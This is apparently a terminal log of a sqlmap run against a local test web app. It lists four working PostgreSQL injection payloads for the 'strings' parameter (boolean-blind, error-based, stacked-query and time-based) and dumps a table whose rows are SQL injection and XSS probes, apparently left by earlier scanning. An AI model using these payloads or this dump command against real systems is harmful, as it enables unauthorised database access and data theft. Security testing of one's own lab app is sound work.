1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
❯ sqlmap -u "http://localhost:8090/start/filter2?strings=ZAP" --dbms=postgresql --batch -D public -T ex100 -C strings,status --dump
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:28:34 /2024-08-18/
[00:28:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: strings (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: strings=ZAP' AND 1463=1463 AND 'jWFI'='jWFI
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: strings=ZAP' AND 1706=CAST((CHR(113)||CHR(98)||CHR(120)||CHR(118)||CHR(113))||(SELECT (CASE WHEN (1706=1706) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(98)||CHR(118)||CHR(113)) AS NUMERIC) AND 'mGGj'='mGGj
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: strings=ZAP';SELECT PG_SLEEP(5)--
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: strings=ZAP' AND 3963=(SELECT 3963 FROM PG_SLEEP(5)) AND 'nMkI'='nMkI
---
[00:28:34] [INFO] testing PostgreSQL
[00:28:34] [INFO] confirming PostgreSQL
[00:28:34] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[00:28:34] [INFO] fetching entries of column(s) 'status,strings' for table 'ex100' in database 'public'
Database: public
Table: ex100
[305 entries]
+----------------------------------------------------+--------+
| strings | status |
+----------------------------------------------------+--------+
| NULL | 0 |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- - | 0 |
| ZAP) UNION ALL SELECT NULL,NULL# | 0 |
| ZAP UNION ALL SELECT NULL,NULL,NULL# | 0 |
| ZAP' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# | 0 |
| ZAP%' ORDER BY 1# | 0 |
| ZAP%' UNION ALL SELECT NULL# | 0 |
| ZAP%' UNION ALL SELECT NULL,NULL# | 0 |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL# | 0 |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL,NULL# | 0 |
| ZAP%' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# | 0 |
| ZAP ORDER BY 1# | 0 |
| ZAP UNION ALL SELECT NULL# | 0 |
| ZAP UNION ALL SELECT NULL,NULL# | 0 |
| ZAP UNION ALL SELECT NULL,NULL,NULL# | 0 |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL# | 0 |
| ZAP UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# | 0 |
| ZAP | 0 |
| #javascript:alert(5397) | 0 |
+----------------------------------------------------+--------+
|